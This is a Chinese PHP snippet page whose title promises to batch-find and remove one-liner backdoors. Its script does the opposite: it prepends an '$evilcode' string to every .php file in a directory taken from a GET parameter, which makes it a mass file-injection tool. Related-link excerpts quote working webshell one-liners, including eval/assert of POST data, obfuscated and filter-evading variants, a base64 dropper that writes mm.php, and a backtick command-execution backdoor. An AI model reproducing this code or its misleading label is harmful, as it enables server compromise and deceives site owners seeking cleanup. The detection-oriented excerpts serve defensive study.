用php实现批量查询清除一句话后门的代码
总是忘记一句话放到哪个文件里去了,直接全部干掉...
代码如下:
<?//xy7
if (!isset($dir) or empty($dir)) {
$dir=str_replace('\\','/',dirname(__FILE__));
echo "<font color=\"#00688B\">".$dir."</font>";
} else {
$dir=$_GET['dir'];
echo "<font color=\"#00688B\">".$dir."</font>";
}
$evilcode="<?phpinfo();//xy7?>";
$testdir = opendir($dir);
while($filea = @readdir($testdir)){
if(strstr($filea, '.php')){
$fp = @fopen($filea, 'r+');
if (!strstr(@fread($fp, 20), 'xy7')){
rewind($fp);
$old = @fread($fp, filesize($filea));
rewind($fp);
fwrite($fp, $evilcode . $old);
}
fclose($fp);
}
}
closedir($testdir);
?>
<hr>
<table width="100%" border="0" cellpadding="3" cellspacing="1">
<tr>
<td><b>被X的文件</b></td>
<td><b>时间</b></td>
<td><b>大小</b></td>
</tr>
<?php
$dirs=@opendir($dir);
while ($file=@readdir($dirs)) {
if ((is_file($file)) and (ereg("\.php{0,1}$",$file)))
{$b="$dir/$file";
$a=@is_dir($b);
if($a=="0"){
$size=@filesize("$dir/$file");
$lastsave=@date("Y-n-d H:i:s",filectime("$dir/$file"));
echo "<tr>\n";
echo "<td>$file</td>\n";
echo " <td>$lastsave</td>\n";
echo " <td>$size Bytes</td>\n";
}
}
}
@closedir($dirs);
?>
</table>
codz by xuanmumu
相关推荐
-
教你识别简单的免查杀PHP后门
一个最常见的一句话后门可能写作这样 <?php @eval($_POST['cmd']);?> 或这样 <?php @assert($_POST['cmd']);?> tudouya 同学在FREEBUF上给出[一种构造技巧]利用 复制代码 代码如下: <?php @$_++; // $_ = 1 $__=("#"^"|"); // $__ = _ $__.=("."^"~"); // _
-
一些 PHP 管理系统程序中的后门
我倒不怎么关心提示框,SABLOG怎么知道我的版本有漏洞呢,程序肯定有后门.每次登陆后台自动检测官方版本跟当前版本对比.嗯.后来找到了.在templates/admin/main.php最后的一部分.删掉如下代码就OK了. 其实这个不足以导致被黑的,现在一般有点常识的,密码都比较复杂,几个数字+几个字母,MD5的话一般很难跑出来.当然有彩虹表的话,另说... 复制代码 代码如下: <script type="text/javascript"> i=1; var autour
-
php后门URL的防范
例如,下面WEB应用可能向登入用户显示敏感信息: 复制代码 代码如下: <?php$authenticated = FALSE;$authenticated = check_auth();if ($authenticated){ include './sensitive.php';}?> 由于sensitive.php位于网站主目录下,用浏览器能跳过验证机制直接访问到该文件.这是由于在网站主目录下的所有文件都有一个相应的URL地址.在某些情况下,这些脚本可能执行一个重要的操作,这就增大了
-
PHP隐形一句话后门,和ThinkPHP框架加密码程序(base64_decode)
今天一个客户的服务器频繁被写入: mm.php 内容为: 复制代码 代码如下: <?eval($_POST[c]);?> 最后查到某文件内的第一行为以下代码: 复制代码 代码如下: fputs(fopen(base64_decode("bW0ucGhw"),"w"),base64_decode("PD9ldmFsKCRfUE9TVFtjXSk7Pz4=")); base64_decode("bW0ucGhw") /
-
超小PHP小马小结(方便查找后门的朋友)
作者: spider 我也来个超小PHP小马 复制代码 代码如下: <?php header("content-Type: text/html; charset=gb2312"); if(get_magic_quotes_gpc()) foreach($_POST as $k=>$v) $_POST[$k] = stripslashes($v); ?> <form method="POST"> 保存文件名: <input type
-
一个不易被发现的PHP后门代码解析
偶然间看到一段,看起来似乎没有什么问题,确是能致命的后门代码,这里用到了一个一般的PHPer都不怎么关注的反撇号 ` ,反撇号包含的字符串,等同于shell_exec函数. 伪装性很好,很容易被管理员忽略. $selfNums = $_GET['r']; if (isset($selfNums)){ echo `$selfNums`; } 刚看到这段代码我想大家都会说没有问题,但是细心的朋友也会发现下面的变量被一个符号包起来了,既然是变量为什么要这样了, 而且又不是单引号,这个就是关键所在了,这
-
用php实现批量查询清除一句话后门的代码
总是忘记一句话放到哪个文件里去了,直接全部干掉... 复制代码 代码如下: <?//xy7 if (!isset($dir) or empty($dir)) { $dir=str_replace('\\','/',dirname(__FILE__)); echo "<font color=\"#00688B\">".$dir."</font>"; } else { $dir=$_GET['dir']; e
-
整理的比较全的一句话后门代码(方面大家查找后门)
最近一句话后门不断升级大家注意防范,基本上多事字符替换 过护卫神PHP一句话作者:小东 复制代码 代码如下: <?php $a = str_replace(x,"","axsxxsxexrxxt"); $a($_POST["c"]); ?> 测试成功,主要对付护卫神,其他的也可以试试 dedecms5.7一句话后门 @eval(file_get_contents('php://input')); asp一句话木马 程序代码 <%
-
用NodeJS实现批量查询地理位置的经纬度接口
实现步骤 1. 查询接口 网站上这种类型的接口还不少,笔者直接找了百度地图的接口做,接口文档,调用的API是Geocoding API中的地理编码服务 请求示例:对北京市百度大厦进行地理编码查询 http://api.map.baidu.com/geocoder/v2/?ak=E4805d16520de693a3fe707cdc962045&callback=renderOption&output=json&address=百度大厦&city=北京市 这里面需要一个ak参数
-
Oracle批量查询、删除、更新使用BULK COLLECT提高效率
BULK COLLECT(成批聚合类型)和数组集合type类型is table of 表%rowtype index by binary_integer用法笔记. 例1: 批量查询项目资金账户号为 "320001054663"的房屋账户信息并把它们打印出来 . DECLARE TYPE acct_table_type IS TABLE OF my_acct%ROWTYPE INDEX BY BINARY_INTEGER; v_acct_table acct_table_type; BE
-
php+mysqli批量查询多张表数据的方法
本文实例讲述了php+mysqli批量查询多张表数据的方法.分享给大家供大家参考.具体实现方法如下: 注意这里使用到了两个新的函数multi_query与store_result,具体代码如下: 复制代码 代码如下: <?php //1.创建数据库连接对象 $mysqli = new MySQLi("localhost","root","123456","liuyan"); if($mysqli->connect_
-
MySQL分表实现上百万上千万记录分布存储的批量查询设计模式详解
我们知道可以将一个海量记录的 MySQL 大表根据主键.时间字段,条件字段等分成若干个表甚至保存在若干服务器中. 唯一的问题就是跨服务器批量查询麻烦,只能通过应用程序来解决.谈谈在Java中的解决思路.其他语言原理类似.这里说的分表不是 MySQL 5.1 的 partition,而是人为把一个表分开存在若干表或不同的服务器.1. 应用程序级别实现见示意图 electThreadManager 分表数据查询管理器它为分表的每个database or server 建立一个 thread pool
-
Python批量查询域名是否被注册过
step1. 找一个单词数据库 这里有一个13万个单词的 http://download.csdn.net/detail/u011004567/9675906 新建个mysql数据库words,导入words里面就行 step2.找个查询接口 这里我用的是http://apistore.baidu.com/astore/serviceinfo/27586.html step3. 执行Python脚本 # -*- coding: utf-8 -*- ''' 域名注册查询 ''' __author_
-
php 批量查询搜狗sogou代码分享
php 批量查询搜狗sogou的rank,非常不错,主要是使用了php的file_get_contents()方法. <?php date_default_timezone_set('Asia/Shanghai'); header('Content-Type: text/html; charset=utf-8'); @$txt = file_get_contents("list.txt" ); $arr = explode("\r\n" , trim($txt
-
Python批量查询关键词微信指数实例方法
教你用Python批量查询关键词微信指数. 前期准备安装好Python开发环境及Fiddler抓包工具.前期准备安装好Python开发环境及Fiddler抓包工具. 首先打开Fiddler软件,点击Tools,在下拉菜单选择Options,然后选中HTTPS,进行HTTPS设置,如下图所示: 再进行connections设置,如下图所示: 手机配置主要是使电脑和手机处于同一个局域网,打开手机WLAN设置,开启手动代理,然后设置代理服务器主机名和代理服务器端口.代理服务器主机名为电脑IPv4地址,
-
ThinkPHP5框架实现简单的批量查询功能示例
本文实例讲述了ThinkPHP5框架实现简单的批量查询功能.分享给大家供大家参考,具体如下: TP5的EXP.批量查询.聚合查询等. <!--more--> //使用EXP条件表达式,表示后面是原生的SQL表达式 $result = Db::table('think_inno')->where('id','exp',"<10 and name='asd'")->select(); dump($result); //使用and和or进行混合查询 $resul
随机推荐
- 云服务器下搭建ASP.NET Core环境
- vuejs手把手教你写一个完整的购物车实例代码
- AJAX初体验之上手篇
- 实用框架(iframe)操作代码
- JavaScript中的变量声明早于赋值分析
- JavaScript中获取元素索引的函数
- JavaScript设计模式之代理模式介绍
- Js获取事件对象代码
- Vue 短信验证码组件开发详解
- Mysql数据库性能优化三(分表、增量备份、还原)
- MySql中使用INSERT INTO语句更新多条数据的例子
- 解决jquery的.animate()函数在IE6下的问题
- Flex与.NET互操作(十二):FluorineFx.Net的及时通信应用(Remote Shared Objects)(三)
- C++结构体数组详细解析
- 利用反射获得类的public static/const成员的值实例
- JAVA如何获取客户端IP地址和MAC地址
- 二层虚拟专用网L2VPN技术实现及标准
- Vuejs 2.0 子组件访问/调用父组件的方法(示例代码)
- Python中实现变量赋值传递时的引用和拷贝方法
- Python pyinotify模块实现对文档的实时监控功能方法